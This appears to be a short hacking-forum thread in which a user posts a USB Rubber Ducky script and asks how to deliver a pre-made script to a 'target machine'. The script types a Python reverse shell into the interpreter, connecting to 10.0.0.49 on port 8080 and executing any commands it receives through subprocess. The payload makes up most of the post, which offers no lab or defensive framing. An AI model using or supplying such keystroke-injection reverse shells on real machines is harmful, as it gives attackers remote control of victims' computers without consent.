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Thank you for the reply sub0! Would that bash command work in Windows 10 Powershell? Thank you.

Hello Hak5 Community! I have a quick newbie question. I created a Duck script that is supposed to deliver a Python TCP Reverse Shell through the python interpreter, but it is too much for the interpreter to handle. How do I get a pre-created script onto a target machine using the rubber ducky? Very confused. Here is my script, it is too much I know :( : DELAY 2000 CTRL ESC DELAY 1000 STRING Python DELAY 200 ENTER DELAY 500 STRING import socket ENTER DELAY 200 STRING import subprocess ENTER DELAY 200 STRING def connect(): ENTER DELAY 200 STRING s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ENTER DELAY 200 STRING s.connect(("10.0.0.49", 8080)) ENTER DELAY 200 STRING while True: ENTER DELAY 200 STRING command = s.recv(1024) ENTER DELAY 200 STRING if 'terminate' in command: ENTER DELAY 200 STRING s.close ENTER DELAY 200 STRING break ENTER DELAY 200 STRING else: ENTER DELAY 200 STRING CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) ENTER DELAY 200 STRING s.send(CMD.stdout.read()) ENTER DELAY 200 STRING s.send(cmd.stderr.read()) ENTER DELAY 200 STRING def main(): ENTER DELAY 200 STRING connect() ENTER DELAY 200 STRING main() ENTER